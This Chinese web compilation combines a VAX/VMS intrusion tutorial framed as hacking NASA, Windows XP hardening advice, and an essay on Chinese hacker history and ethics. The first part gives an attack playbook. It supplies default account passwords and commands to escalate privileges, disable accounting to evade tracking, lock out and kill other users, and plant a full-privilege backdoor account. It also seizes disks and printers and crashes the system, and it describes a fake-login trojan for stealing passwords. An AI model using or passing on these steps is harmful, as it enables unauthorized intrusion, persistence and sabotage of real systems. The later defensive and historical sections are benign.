视野 | 拓展你我的视野

转自：IT专家网

警告：本章涉及某些军事机密，所以在某些地方作了模糊处理。本文危险度极高，请勿模仿。刊登本文的目的是为了让大家对VAX计算机和VMS操作系统有所了解。

在一些黑客入侵活动中，很多黑客根本就不屑于入侵那些的小得可怜的漏洞网站，因为这对那些喜欢刺激的黑客来说，根本就不算什么。用他们的话来说，入侵那些网站只是他们在大脑疲劳时作的一种休闲游戏而已。而对于这些危险级的黑客来说，他们真正感兴趣的是那些平时难得一见放在重要机构和实验室里的计算机，只有那些东西能够真正的刺激起他们的大脑神经系统的活跃，也是真正能够让他们提起胃口的东西。

在这些众多的提味剂中被美国太空总署、美国中央情报局等重要机构青睐的VAX计算机和它的VMS操作系统成为了超级黑客们的最爱，这些东西都能够刺激他们不断的研究试图入侵这些重要机构的每一次微小的机会。

什么是VAX计算机?VMS操作系统是什么?

欲读懂后面的黑客手记，请先了解下面所讲的基础知识。

那么什么是VAX计算机?VMS操作系统又是什么?以下我们就简单地介绍一下这些摆放在实验室里的大型机核心系统。

在1978年，DEC公司建立了第一个基于VAX( virtual address extension)即虚拟地址扩展的计算机体系，它是DEC计算机系统特有的复杂指令计算(CISC)体系结构的计算机VAX11、780。这台大家伙在当时是基本32位的计算机，并且能够有高达1MIPS的运算性能。在那个年代，这台计算机的速度和性能都是无与伦比的。在当时要值$200,000。但显然他是最棒的。

更加值得一提的是VAX是多用户系统，它所采用的网络应用包括：

通信终端协议(CTERM)：DNA为VMS系统提供的虚拟终端服务使用该协议，可以用于任何连接，是LAT的可选协议。

分布式命名服务(DNS)：DNS为VMS系统的通用命名服务，允许对用户、文件和节点等进行命名，使其成为整个网络共知的标识。

数据存取协议(DAP)：DAP是为VMS系统提供远程文件存取的老的协议集。DAP将被DFS所代替。

分布式文件系统(DFS)：和网络文件系统相似，目录可以标识为共享，并且能够装到远程节点上。

分布式队列服务(DQS)：主要用来进行打印处理，该服务使VMS能够在网上作业队列。“作业控制”将作业从队列中移出，并将其传至协同程序，由它来处理作业。

VAX计算机专用的终端只能用于VAX系统上，并且可能用于Internet服务，它的唯一性和不兼容性保持着它的安全基础。但是对一个非常了解VAX系统的黑客来说这些并不算是什么，他们一样可以利用PC机上的软件来同VAX系统取得连接，并会想方设法摧毁他们，但是每一个黑客的必须要有一个 VT100的终端仿真程序，当然这并不难搞到。

那么什么是VMS哪?VMS(Virtual Memory System)即虚拟内存系统，是比较特别的一种计算机网络操作系统，但是VMS和其他的系统还是有那么一些相似之处的，比如它的登录介面就比较象UNIX系统的。你首先看到的是一个登录信息Username:;接下来便是用户密码： password:如果你能够正确的输入信息的话，那么你就会进到一个以$为提示符的字符操作环境下。当你登录成功后，还会有一系列的提示信息，包括你的username,你的process ID,等等。如下表：(此表欠奉：)

对于一个熟悉操作系统的黑客来说，他会很快地感觉到VMS这个系统和其他的系统如UNIX等操作系统基本一样，一个优秀的黑客在短期内都会将它使用得很得心应手，对于他们来说这些系统的唯一区别只是命令提示不太一样而已。举个例子，如果UNIX系统中的C shell要调用设备的话，就要在命令行输入SHELL设备的调用命令。而VMS中假设调用的这个设备就是history(Dos有相应的模块，叫做Dos提示符)，VMS系统中，如果你一直按住Ctrl键，并且输入字符B，那么就会停止其他形式的命令进程，列出所有目前的进程，返回进程，并且报告目前的用户统计，以便进行修改。想要入侵VMS这些都是必备的基础知识。

当然在Internet上还存在许多的VAM系统的服务器，而且至今来说这个古老的VMS系统还是很有活力的，当然他仍然在不但地进行血液的更新，VMS最新的操作系统叫做Open/VMS网络操作系统。OpenVMS主要可以运行在VAX和Alpha系统的主机上，Alpha是一个非常快的工作站系统，而且它可以运行Windows NT，OpenVMS，Digital UNIX等多种系统。这是黑客们梦寐以求的东西，在早些时候许多的黑客为了追求到Alpha工作站，宁肯放弃高薪而去一些麻木而没有活力的科研机构。

目前公共在线的VAX主机大都已经时间比较长了，比如美国多所大学的图书馆的系统，那些都已经非常非常old的VAX系统了。但是在那里我们可以了解到一些VAX/VMS和详细的情况，这些对于一个对VAX一无所知的人来说是一个很好的机会。

VMS系统的安全情况

想要入侵这些重要的机构，黑客们必须了解VMS网络系统的安全性。在VMS系统中安全是经过精心考虑的，因为这些大家伙都是使用在一些重要的研究和军事机构里的，安全问题成为了VMS的重要性能。比如，VMS基本上都有一个强有力的有读写控制，(当然这些都还要看系统管理员的设置情况而定)。在 VMS系统中的读写控制和Novel Netware 平台下的类似，下面就是它所提供的简单的控制命令：

Time(时间)：你可以控制哪一天，哪个用户，可以在哪个小时来访问这个系统，默认为一个星期7天，一天24小时，就象是防火墙一样，你可以精确的控制每一个用户。

Resources(资源)：你可以控制每一个登录用户的访问权限，可以对每一个目录设置权限。

当然这些都只是VMS系统对于访问控制的一个简单的举例而己。实际上，在VMS系统中还有多重的特权限制，并且可以用于工作组。换句话说，在 VMS系统中，读写控制是一个非常繁杂的设置，有好多好多的选项。正是由于这个原因，因此很少有黑客能够突破这个系统。有时，这种繁杂的设置反而会成为它自身带给网管们的一项非常繁重的工件。这个星球上的聪明的黑客已经意识到了这一点了：

VMS系统的最大的优点就是它的巨大的灵活性。系统管理员可以选择实现或是忽略这种复杂的设置，那么就会给黑客留下机会了。

攻击一个VAX(或是以VMS作为操作系统)的网络操作系统来说，同攻击UNIX系统有很大的不同，首先VMS这个系统的password文件的存放和它的结构和UNIX有很大的不同，UNIX系统下是放在/etc/passwd 这个文件中，这个文件包括定义的用户名，password，登录信息，以及它所在的工作组。与此对比，VMS系统的这个文件不但包括以上这些简单的信息，还有好多的其他的信息：

在每一个运行VMS的DEC主机都会将所有用户的档案资料放在一个文件当中，叫做SYSUAF(System User Authorization File)对于每一个使用此系统的用户包括系统管理员，都有一个record来记录下用户的登录时间和访问权限，而且它还给出了password的详细的时间，password的长度，以及用户登录时所有的详细信息。这真让黑客头疼。

但是就是这种难以理解的password文件结构也有它自身的漏洞，那就是如果一个黑客成功的获得了对这个文件操作的权力，并且修改了它，那么整个系统都将面临危险，然而发生这种情况的可能性微乎其微。

一般情况下用户通过一种叫做UIC(User Identification Code)(用户识别码)的程序才能登录系统。这和UNIX系统中的GID是非常相近的。它识别出登录用户，还有该用户的访问权限，以及工作组，因此，你可以想象这种UIC系统是一个统一的数据库。　攻击美国太空总署Vax-11/780，我想看看美国到底登上月球了吗，有没有外星人跟他们接触，天哪，这一切都是那么的神气，对我就像是一块磁铁，将我所有的激情和目光都拉上了这个地方。http://www.nasa.gov就是他的老巢，但是我对这个并不感兴趣，因为他一样采用的都是普通的WEB服务器。我的目标是突破它的内部网络，也就是NASA的科研核心网络。

入侵美国太空总署第一步：登录

有两种方法可以登录VMS系统。第一种是正常登录，另外一种就是利用试探密码以及欺骗。我们是黑客，优秀的黑客!我们当然选择欺骗(Cheating)登陆，如果你想要成功的混进VAX系统，你可以利用两种方法：

1、用利用系统中现有的其他人的用户名和密码。

2、利用默认的密码进行欺骗进入。

(1)利用其他人的密码：

这种方法既有好的一面，也有不好的一面，好的一方面是你不必新建一个帐号，或是用一个受限制的帐号，那么在这种情况下系统管理员什么都不会觉察到，坏的一方面就是你所利用的帐号的主人可能会注意到。你想想，如果他并没有登录，但是又显示它在线，他会有什么感觉，而且会留下登陆的种种记录，并且他这个帐号还可能没有我们所需要获得的权限。获得其他人的密码比较简单，只要你进入系统，即使只是很小的权限，那么你只要向系统管理员的机器发送一个程序，有点类似于现在的木马或者是欺骗工具。它包含如同登录时需要的屏幕一样，那么，你就可能获得他的密码，还有用户帐号，再把这个文件从远程的打印机打印出来或是输出到一个文件上，当然你一定记得要把这个文件删除掉。

(2)利用系统的默认的密码：

在VAX系统建立时，有4个默认的用户帐号还有密码，它有可能被自修改或是删除，但是系统管理员通常有可能会遗留下一两个以备将来系统遇到麻烦的时候进行恢复工作，这4个帐号和密码分别是：

Name Password SYSTEM MANAGER or OPERATOR FIELD SERVICE or TEST DEFAULT USER or DEFAULT SYSTEST UETP or SYSTEST

我的经验告诉我，一般来说FIELD SERVICE这个帐号都会起作用。一旦我们登录了该系统，如果你想要获得最高的权限，你就应该输入：

$SET PROC/PRIV=ALL

‘$’是系统提示，如果你要是本身获得的权限不够，就会系统提示你不能够执行该命令，那么你就要换一个password，才能得到你想要的特权。是不是很令我们头疼?不过一般的情况下方法还是奏效的。

入侵美国太空总署第二步：浏览该系统

成功的利用完第一步，我们已经可以顺利的在VMS系统上登陆了，下一步要做什么呢?当然是要获取更多的信息，但是首先，我们一定要确认是否能够返回，那么我们就先要这样做：

$SET ACCOUNTING/DISABLE
这将会禁止VMS系统中那个讨厌的跟踪程序对我们的跟踪，再输入：

$SHOW USERS

看一看谁在系统上，如果你看到我们自己的帐号是两个的话，赶快退出来。我们不想因为做傻事而被捉吧，但是我们一旦确认无人能够监视我们的行动，那么我们接下来就输入：

$SET LOGINS/INTERACTIVE=0
这将禁止其他人登录到这台机器上，下一步就要把其他的人踢出去。

$SHOW USERS

系统可能返回如下的信息：

VAX/VMS INTERACTIVE USERS 23-JUL-2000 09:37:15.54 Total number of interactive users= 6 Username Process Name PID Terminal BRUNO BRUNO 0000026B TTD3: FIELD FIELD 00000FF2 TTC2: JOHNSON _TTD5: 0000026D TTD5: LINCOLN LINCOLN 0000026A TTD2: CYBERPUNK CYBERPUNK 000001D8 TTD4: HARDCORE HARDCORE 00000263 TTC0:

现在，如果你以FIELD用户名登录的话，我们要通过验证的话，输入：

$STOP/ID=PID

这样的话，就可以显示除我们之外的用户的情况，并且把的用户踢出去，最好在晚上用户少时这样做，因为如果用户管理员收到好多的控诉信息的话，他就可能会发现并捉住你。接下来，我们要确认，我们能够再次登录到这个系统上，为了能达到这一点：

$SET DEF SYS$SROOT:[SYSEXE]
这样的话，你将进入到SYS$SROOT的SYSEXE目录下一行：

$RUN AUTHORIZE
系统返回如下信息：

UAF> – now type: UAF> ADD WASTOID /PASSWORD= ZEDNET /UIC=[099,900] /CPUTIME=0- /DEVICE=SYS$SYSROOT /DIRECTORY= [SYSEXE] /PRIVS=ALL /NOACCOUNTING UAF> EXIT

这是什么意思呢，让我们往下做：

ADD WASTOID-加入一个记录名字叫WASTOID

/PASSWORD=ZEDNET-为新帐号加密码

/CPUTIME=0-将你的帐号的访问时间变为不限时，

/UIC=[099,900]

/DEVICE=SYS$SYSROOT-设置你的工作驱动器

/DIRECTORY=[SYSEXE]-设置你的工作目录

/PRIVS=ALL-获得最高的操作权限

/NOACCOUNTING-禁止系统跟踪

好了，你现在就有了所有的特权，并且有了合法的帐号，返回系统。

入侵美国太空总署第三步：系统的基础

如果你从没有用过VAX系统的话，可以看一下这些提示：

HELP-将会列出所有的命令，并且能够给你详细的解释

SET DEF drive:[directory.sub1,sub2]-设置默认的工作驱动器还有工作目录

TYPE或是T-和DOS下的TYPE一样，是显示文件内容的：如T file.txt

PRINT或是PR-打印文件，如：PR file.txt

DIR或是D-显示工作目录

DIR/PRINT 或D/PRINT在屏幕和打印机上同时显示。

RUN或是R-执行.exe的可执行文件，如：r filename.exe

好了，准备的比较充分了

入侵美国太空总署第四步：开工了

1、修改文件：

这个世界上最美好的事情就是剥夺他本人的文件的控制权了，当你看到他对自己的文件束手无策时，我们可能会高兴手舞足蹈。让我们偷着乐吧。你可以用：set protection 这个命令，如果你想一个文件只能由你自己访问，而其他的任何人都无权访问时，你可以运行

$set prot=(s:rwed,o,g,w) test.dat
你就有了完全的特权，其他的人包括文件的拥有者，工作组，以及管理员都没有权限。

2、磁盘：

你可以对整个磁盘都一次加以控制，比如你要控制驱动器：dirver1

$dismount driver1 $deallocate driver1 $set prot(s,o;r,g,w)/device/owner_vic[099,900] driver1 $allocate driver1 $mount driver1

这样你就有了一个个人控制的驱动器了。

3、打印机：

我们知道如果要打印一个文件只要输入：

$pr hacking.dat

如果运行

$stop/abort lpao

那么，系统就会停止打印机目前的工作并将它踢出队列。

$delete/queve lpao

这会将队列中所有的项目全部清除，那么打印机就是你一个人的了。如此等等，我们只介绍几种，其他的就看你自己的了。

入侵美国太空总署第五步，安全撤退

1、opccrash

如果要关闭系统的话：

$run sys$system:opccrash

系统会提示：

system shutdown complete –use console to halt system(请使用控制台来关闭系统)

输入：

^P >>>-type: >>>HALT HALTED AT 8000708A
2、破坏性退出

^P >>>HALT >>>@CRASH

这样一整套入侵美国太空总署的行动，就让我们躲在一边偷偷看那些老外们忙活去吧，当然我们也不能忘记“正事”，这就是进入它的数据库，看看那些他们的小秘密。

肉鸡是指被黑客控制的网络设备的统称。常见的有个人电脑、服务器，也有你想不到的，如街头信息亭、街头摄像头等等只要跟网络有关的东西都可以。看过《虎胆龙威4》的话，您可能会对黑客有一个新的理解，网络安全问题现在已经成为了网络的头等大事，那我们自己的电脑的安全怎么保障呢？

一、防止主机成为肉鸡的安全技术措施

1、利用操作系统自身功能加固系统

通常按默认方式安装的操作系统，如果不做任何安全加固，那么其安全性难以保证。攻击者稍加利用便可使其成为肉鸡。因此，防止主机成为肉鸡的第一步，便是系统加固。

鉴于目前大部分用户仍然使用Windows XP，因此，本文所有内容都基于Windows XP。

(1)加强系统登录帐户和密码的安全

系统设置的密码应当符合复杂性和最小长度的要求，不仅要包括常用英文字母、数字、字母大小写，最好还可以加入特殊字符(如@等)，而且密码的字符数不应该小于8位。

另外，为了防止黑客通过默认帐户登录系统，我们建议为管理员帐号设置密码并禁用guest账户。

(2)取消远程协助和远程桌面连接

用鼠标右击桌面上的“我的电脑”图标，选择“属性”，在“系统属性”中选择“远程”选项卡，然后取消“远程协助”和“远程桌面连接”复选框中的钩。

(3)禁用危险的系统服务

在Windows XP系统中，一些端口与相应的系统服务是相关联的，有的服务还与系统中的特定端口相关联，例如Terminal Services服务与3389端口关联。因此，禁用一些不需要的服务，不仅能降低系统资源消耗，而且能增强系统安全性。

在“开始”——“运行”框中输入“services.msc”，按回车后进入“服务”管理界面。禁用以下服务：

NetMeeting Remote Desktop Sharing

Remote Desktop Help Session Manager

Remote Registry

Routing and Remote Access

Server

TCP/IP NetBIOS Helper

Telnet

Terminal Services

(4)关闭137、138、139和445端口

用鼠标右击桌面中的“网上邻居”，选择“属性”。在“本地连接”界面，打开“Internet协议(TCP/IP)”的属性对话框。在此对话框 中，单击“高级”按钮，选择“WINS”选项，然后选择“禁用TCP/IP上的NetBIOS”，这样就关闭了137、138和139端口。同时，通过取 消“本地连接”属性中的“Microsoft 打印机和文件共享”可以关闭445端口。

(5)启动系统审核策略

“开始”——“运行”框中输入“gpedit.msc”进入组策略编辑器，在计算机配置——Windows设置——安全设置——本地策略——审核策略中，将审核登录事件、审核对象访问、审核系统事件和审核帐户登录事件启用成功方式的审核。

(6)用户权利指派

同样在组策略编辑器，在计算机配置——Windows设置——安全设置——本地策略——用户权利指派中，将“从网络访问此计算机”策略中的所用 用户都删除，在“拒绝从网络访问此计算机”策略中确保已有“everyone”帐户，然后再删除“通过终端服务允许登录”策略中的所有用户，并确保在“通 过终端服务拒绝登录”策略中有“everyone”帐户。

(7)禁用系统默认共享

在组策略编辑器中，计算机配置——Windows设置——安全设置——安全选项，将“网络访问：不允许SAM帐户的匿名枚举”及“网络访问：不 允许SAM帐户和共享的匿名枚举”全部启用;将“网络访问：可匿名访问的共享”、“可匿名访问的管道”及“可远程访问的注册表路径”中的内容全部删除。

打开注册表编辑器，进入 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters 项，在其右边新建一个键值名为“Autoshareserver”，键值为0的DWORD值，这样就可以禁止系统C$、D$、E$等方式的共享;为了能禁 止admin$共享，还应当在此注册表项中新建一个键值名为“Autosharewks”，键值为0的DWORD值。

最后，打开“资源管理器”，选择“工具”菜单中的“文件夹选项”，在出现的文件夹选项界面中的“高级设置”框中，取消“使用简单文件共享”的多项选择项。

2、使用安全软件加固操作系统

对加固操作系统安全性而言，我们还可以通过安装相应的安全软件来进一步增强系统的安全性能。

(1)安装杀毒软件

在系统中安装杀毒软件主要用来防止黑客通过木马来控制我们的主机。当我们安装好杀毒软件后，一定要立即更新病毒库到最新状态，如有必要，还应当设置每天按时自动更新病毒库。

(2)安装防火墙

黑客的入侵活动通常是从扫描系统中是否开放有高危端口开始的，因此，禁用高危端口(如135、137、138、139、445、3389等)十分必要。虽然前面介绍了如何

通过手工的方式关闭系统高位端口，这里借助安全软件同样可以起到加固作用。同时，我们还应当限制系统中能够与互联网通信的进程和应用程序，以减少网络应用程序本身漏洞带来的安全风险。

虽然Windows XP系统本身带有一个“Internet 防火墙”，但它远远不能满足日益增长的安全防范需求，因此，我们通过安装第三方防火墙软件来解决这些问题。

现在市面上存在的防火墙不仅具有包过滤和应用程序跟踪的基本防火墙功能，它们还具有属于自己的独特功能。例如，Tiny Firewall防火墙。它不仅具有普通应用层防火墙的功能，还具有IDS、文件完整性检测和主动防御的功能。并且还为用户提供了一个实时网络连接监控功 能，可以让用户随时掌握当前的网络连接情况，了解连接的网络应用程序都使用了哪些端口，连接到了什么目标上，并直接显示出对方的IP地址。图1就是它的网 络连接监控界面。

(3)使用代理服务器

黑客要想扫描计算机，就必需先知道计算机连网公网IP地址。如果能够隐藏这个公网IP地址，将为黑客的攻击行为增加难度。隐藏IP地址最好的方 式就是使用代理服务器。对于普通的网络用户来说，可以通过使用HTTP代理和在计算机上安装简单的代理软件来达到隐藏IP地址的目的。

使用HTTP代理非常简单，进入提供此功能的网站，例如http://www.web4proxy.com/，如图2所示。在“开始浏览”按钮前的文本框中填入要访问的站点，就可以通过隐藏IP的方式浏览想访问的网站了。

但是，使用HTTP代理只能防止由于浏览网页而泄漏IP地址的风险，要想隐藏其它网络活动时的IP地址，例如进行的QQ聊天和玩网络游戏等网络应用，就必需通过在系统中安装代理服务器软件的方法来解决。

Waysonline是一个不需要安装的代理服务器软件，在使用前，要先免费注册

输入注帐户和密码后登录。此时，右击Windows任务栏中的绿色“W”图标，在此菜单中的“运行程序”菜单项中，可以由我们选择代理的各种方式。

二、防止主机成为肉鸡的安全管理措施

就算我们对系统的安全技术措施做得再好，如果不能对系统进行有效的安全管理和对自己的网络行为进行有效的控制，那么，这些已经实施了的安全技术措施，就成为了一种没有实际作用的摆设而已。

对系统实施安全管理措施可以分成两个部分来执行：其一为系统安全管理，其二就是用户网络操作行为管理。

1、系统安全管理

一个全面的系统安全管理应当包括下列所示的内容：

(1)操作系统漏洞补丁管理。为系统打补丁是一件非常重要的工作，我们可以通过360安全卫士的“修复系统漏洞”功能来完成。

(2)网络应用程序版本更新。我们应当及时升级QQ、MSN及网络浏览器等应用程序到最新版本。

(3)杀毒软件病毒库和防火墙规则审查。虽然杀毒软件都可以通过自动更新方式更新病毒库，我还是建议你养成按时手动更新病毒库的习惯，并且，在 每次手动杀毒前进行手动更新病毒库一次。同时，对于防火墙规则，尤其是应用程序规则，我们要经常检查是否添加了不明规则，以便及时取消。

(4)定期检查系统审核日志。经常检查这些审核产生的日志，能及时发现系统是否已经被入侵，或者已经受到过某种入侵行为的侵扰。

(5)在使用计算机过程中，要养成查看系统运行进程的习惯。通过360安全卫士的“系统全面诊断”就能查看到当前系统中正在运行的进程的详细信息。

(6)要经常查看目前的网络连接情况。如果你没有安装上面提到的Tiny Firewall防火墙，仍然可以通过360安全卫士“高级”选项卡中的“网络连接状态”来了解当前系统的网络连接状况。

2、用户网络操作行为控制

要控制的网络行为方面包括：

(1)使用安全性能高的浏览器。只去正规的网站浏览新闻，下载MP3、MP4和软件等。

(2)要养成只在浏览器地址栏中输入URL访问网站的习惯。例如，一些网上银行都使用了一种叫做EV-SSL认证的方式来标明网站的真实性，如 果用户发现自己IE8浏览器地址栏中的URL地址变成了绿色，那么就可以肯定这个网站是真实的。再加上不要轻易点击电子邮件或QQ等即时聊天软件界面中的 网站链接，就可以很好地减少被网络钓鱼攻击的风险。

(3)不要浏览色情、赌博等网站。

(4)不要轻易接受QQ或MSN好友发来的下载链接，除非你知道它们是安全可靠的。

(5)应当使用安全性能高的网络应用程序。例如搜索引擎最好使用Google，它能够将搜索到的可能含有某种安全风险的网站直接标识出来，并且不能进入。使用安全性高的应用程序，能大大减少被木马控制的风险。

(6)对于突然接到的某个自称是电信、计算机销售商及银行等企业的服务人员打来的电话，如果你不熟悉这个电话号码，或者不熟悉对方的声音，你一 定要提高警惕。尤其当他们向你询问有关系统、电子邮件、网上银行帐户等机密信息时，你一定要马上拒绝。我们只有对与此相似的事件保持高度的怀疑，才能有效 地防止黑客通过社会工程的方式来攻击我们。

总而言之，只有网络用户认识认真细致地对系统实施相应的安全技术和安全管理措施，才能在计算机生命周期的各个阶段防止自己的计算机成为黑客们的肉鸡。

“黑客”一词来源于英语动词hack，意为“劈，砍”，也就意味着“辟出，开辟”；很自然地，这个词被进一步引申为“干了一件非常漂亮的工作”。计算机黑客在自己熟知的领域中显然是极为出色的，个个都是编程高手。

这个带有褒义的词在60年代～70年代用来形容独立思考、然而却奉公守法的计算机迷。他们云集在技术精英的堡垒麻省理工学院和斯坦福大学(Stanford University)，现代黑客可以把他们的精神祖先一直追溯到那里，这让美国的黑客一开始就有很好的学术底蕴和很强的道德底线。

史蒂文•利维在《黑客：计算机时代的英雄》一书中将黑客的工作最早追溯到上个世纪50年代麻省理工学院的实验室时期。那时，一群才华出众的学生结成小组，经常通宵达旦地在实验室里操作机器。到了上个世纪60年代后期，一些天才的年轻人终于找到了进入计算机工业较低层次的途径，那就是个人计算机产业。

熟悉个人计算机历史的人都承认，正是黑客和黑客精神催生了个人计算机产业。个人计算机产业的两个明星公司微软和苹果的创始人比尔盖茨和沃兹都是黑客出身。盖茨曾经因为非法入侵而被惩罚远离计算机一年，而沃兹是著名的自酿计算机俱乐部的成员，这家俱乐部的成员清一色全是黑客，他们的目的就是打破强权的IBM对计算机工业的垄断。事实是，他们还真的做到了。

个人计算机革命的故事，就是一夜暴富的黑客为他们的成功所困惑的故事，是信奉电子民粹主义的工程师在车库中焊接改变人类生活的机器的故事，也是将辛苦积累的知识与信息无条件地与大家共享的故事——这种共享精神在其他工业极为罕见，但对个人计算机的普及却有着举足轻重的作用。充分共享、充满激情、颠覆世界，这是何等让人神往的黑客精神啊。

中国黑客在一开始也是如此的有如乌托邦一样纯真和美好的，在中国互联网的前身CFIDO里就汇集了中国诸多有理想、有道德底线、有技术追求和正义感的黑客。但遗憾的是，中国互联网发展太迅猛，转型下的中国又有太多的诱惑让人无法把持。

中国互联网的第一代黑客们在没有形成完全意义上的财务自由和人格独立的时候，就开始被迅猛发展的中国互联网产业漩涡而抛离出去，在诱人的商业利益面前，他们有的淡出江湖，逍遥自在；有的主动和被动的招安，戴上了白帽子而失去自我独立发展；有的开始自甘堕落，开始放弃理想而追逐短利，开始黑吃黑；有的则放弃自己的事业，蜗居某些大公司门下……他们很遗憾的没有成为互联网这个产业的脊梁和主流，而是逐步边缘化。即便有坚持自己梦想，远离官方、远离商业化，希望独立发展的江海客之流，一直固守实验室本色，长期做着技术积累的部分公司，多年时间下来也未能成长出类似赛门铁克这样的牛叉企业来，不知是江海客们的不幸，还是我们这个产业的不幸。

而中国黑客文化本身又缺乏足够深入和系统的梳理和提炼，这让黑客精神被大众误读，更谈不上传承和发扬光大。一方面，黑客被等同电脑窃贼，在公众层面成为过街老鼠，人人喊打；另一方面，诸多只懂皮毛的小黑客们由于没有受到正统和成熟的黑客文化的影响和熏陶，无法形成正确的价值观和伦理观，而这种没头脑支配下的言行更多是这个光荣群体抹黑。

还是让我们再读一读利维在他那本久负盛名的黑客电脑史中提到的“黑客准则”（the HackerEthic）。这些准则包括：

对计算机的使用应该是不受限制的和完全的。

所有的信息都应当是免费的。

怀疑权威，推动分权。

你可以在计算机上创造艺术和美。

计算机将使你的生活变得更好。

虽然没有人把这些准则写进宣言，但是，它们却已经成为真正的黑客们在塑造计算机技术时的行为方式。

上帝把某一项天赋赋予了你，那么，他必然把你的其他一部分给偷走了，对于有着超人计算机天赋的中国黑客们，需要让自己更有正义感，更有使命感。很难想象，如果缺乏必要甚至是强大的自我期许，中国的黑客们断然不可能能有什么光荣与梦想，这个本应成为社会进步和革命最重要的推手力量，将会走上自绝之路。(作者/林军(博客))

全文摘选：

绿色兵团

如果没有1998年5月发生的印度尼西亚排华事件。包括绿色兵团在内的中国黑客群体也不会浮出水面。

他们太稚嫩了,美国的黑客群体虽然也龙蛇混杂，有云集于麻省、贝尔的学术泰斗们，也有凯文这样的犯罪天才，但其正邪偶像都有十数年的时间为后辈去树立黑客这个群体的典范和标尺。而直到1995年，互联网才刚刚走入中国大陆。此时，整个网络技术都是资料匮乏，人才稀缺。不过，有一个人无论如何不能不在中国黑客史中留下位置，此人就是来自台湾的coolfire。大陆最早一批黑客，基本上都是从阅读此人写的教程中走入网络攻防的世界的。现在看来，coolfire的教程十分初级，但深刻渗透着人文气息和幽默感。想想1995年前后，国内的学习者们在 fido网上用电话线传抄这些教程的情景，也别有一番兴趣。谁能想到，3年后，这些只是看着coolfire的教程开始亦步亦趋的学习者们，还没有足够的时间建立自己的技术体系、行为标尺和人格底蕴，就被推到了风口浪尖。

排华事件发生后，正蹒跚学步的中国黑客们决定声援，并向印尼网站发起攻击。这成全了他们第一次在公共视野的亮相，并且携爱国义举一呼百应。当年的组织者龚蔚现在承认，一是民族情绪使然，再则不排除年轻人的出名冲动。最初的江湖规则尚被遵守，“我们留真名，只为表明我们的态度，不去窃取资料，也不恶意破坏对方设备。”龚蔚说。

1997年，上海黑客龚蔚（goodwell)在境外某网站申请了一处免费空间，并在国内做了镜像站点，用于黑客之间的交流，成立“绿色兵团”。发起人龚蔚如今的解释是，一切出于爱好和兴趣，当然还有和同道切磋比拼的快感。“与利益无关，与政治无关”。绿色兵团的名字，虽然与一款任天堂游戏同名，但也维系了龚蔚的美好梦想，“以兵团一般的纪律和规则，打造绿色和平的网络世界”。

仅1998年一年，绿色兵团的阵容便趋于鼎盛，注册人数不下5000人，核心团队有一百多人，分布在湖南、福建、广东、北京、上海各地，这包括如今已被尊称为教父级的rocky、solo、小鱼儿、冰河、小榕、谢朝霞等等。这是一群沉醉于挑战技术的网络爱好者，他们中一些是二十出头的大学生，初衷简单，甚至没有自己的电脑，有时为了争夺校园实验室里的机位而废寝忘食。他们信守自己的黑客准则，甚至崇拜雷锋，主张网络技术共享、互助，耻于随意的攻击，遑论以之牟利？

然而此时泛化的潜流已经悄然孕育，在美国精英化为主导的黑客文化被彻底颠覆，绿色兵团开始了一种以注册人数来衡量黑客团队价值的方法，并被后期得国内很多黑客组织作为攀比的指标。

后来的黑客组织“第八军团”的领导者陈三公子，当时还只是个“菜鸟”，他说，黑客有黑客自己的行为准则，有自己的道德规范，正义、平等、共享、互助，“这是一种追求卓越和完美的精神”。这个陈三公司大名叫陈有湛，他后来开了家网络安全公司。在 1998年互联网业界，还有另一个极客陈三公子，这个陈三公子的大名叫陈大年，他后来和哥哥一起创办了中国最赚钱的网络游戏公司，并任该公司的CTO和高级副总裁，那家公司叫盛大，他的哥哥叫陈天桥。

此时有好事者开始为中国黑客排起了座次，由于龚蔚在上海因此被称为东邪，而在深圳的 frankie(谢朝霞)则号称 “南帝”。知情者说，程序开发不是frankie的强项，frankie的长处是知识面比较宽。从1996年开始研究接触黑客技术，到1998年在深圳开办“辰光工作室”，站点内一共发布了近千篇黑客技术文档、2000多个黑客工具的分析心得等，也有一些初学者从这个网站上路。

但很多人的纯技术之路确实都是在1998年嘎然而止，朴素的爱国情绪造就了中国黑客最初的团结与坚强的精神，也造就了冲动和好斗，甚至出现了 “中国黑客紧急会议中心”，负责对外国网站攻击期间的协调工作。

与此同时，不和谐的声音也在孕育着，有人为了出名，自己注册印尼的域名甚至申请印尼的免费域名，演出了一出自己黑自己的闹剧。甚至再以此连接到自己网站来刷流量。在眼球经济的大潮中，本该是宁静技术世界的黑客世界，也变得有趣和浅薄起来。

中国黑客们的成长就这样微妙的被国际政治气候的变化牵引了，之后便是1999年的北约轰炸中国大使馆，中国黑客又一次大规模地团结起来，纷纷开展了对美国网站的攻击。在中国大使馆被炸后的第二天，第一个中国红客网站，“中国红客”之祖国团结阵，此后便是1999年日本政治的全面右翼化，而到了2001年的南海撞击事件的时候，最后的高潮出现了，一场被媒体称为“中美黑客大战”的网络混战就此上演，红客们号召了数以万计的中国网民，使用简单的ping命令对美国白宫网站进行DDoS攻击。而两名年龄不足20岁的美国学生 PoisonBox，Prophet宣布将号召美国黑客向中国网站发起全面攻击，在反复的自动化扫描、探测以及人工的注入的拉锯中，两国都有数以百计的站点被对方涂鸦。美国政府率先作出响应，FBI在48小时内，逮捕了两名美方发起人。中国互联网协会也作出响应，倡导良性网络行为，而德高望重的何德全院士也在网上撰文，声称自己不支持黑客大战。

中国红客联盟、中国鹰派联盟、中国黑客联盟三大黑客组织成为这场中美黑客大战的主力军。一时间，红盟的lion、鹰派的万涛均被媒体热捧为中国黑客英雄，更夸张的是，当时在广州一所小学作的未来职业调查中，有12%的孩子填写了“黑客”一词。

不过，另外一个资深安全工程师在回忆当时的场景说，一位当时十分活跃的小红客问他，“你参加中美黑客大战么？”他说不参加，这种活动真的有益于我们的国家么？，小红客说了一句令人瞠目结舌的话： “我们爱国，而且我们也很想出名，金钱和地位你们都有了，你们当然不参加了，我们还没有出名，所以我们必须行动”。这位职业安全工程师说，“我当时什么都没说，我心中只有一声叹息”

而2001年这次中美黑客大战的多为发起人后来也悄无声息，lion则似乎一直没有获得主流黑客技术圈的认可，特别是在接受媒体采访的时候，他说了一句：“一个人说我是民族英雄，我不信，所有人都说我是民族英雄，我信了。”

这句话在北京的网络安全圈子里，瞬间成为了笑柄，据说连吃饭的时候，也会有两个程序员互相打趣。“一个人说你是饭桶，我不信，所有人都说你是饭桶，我信了”。

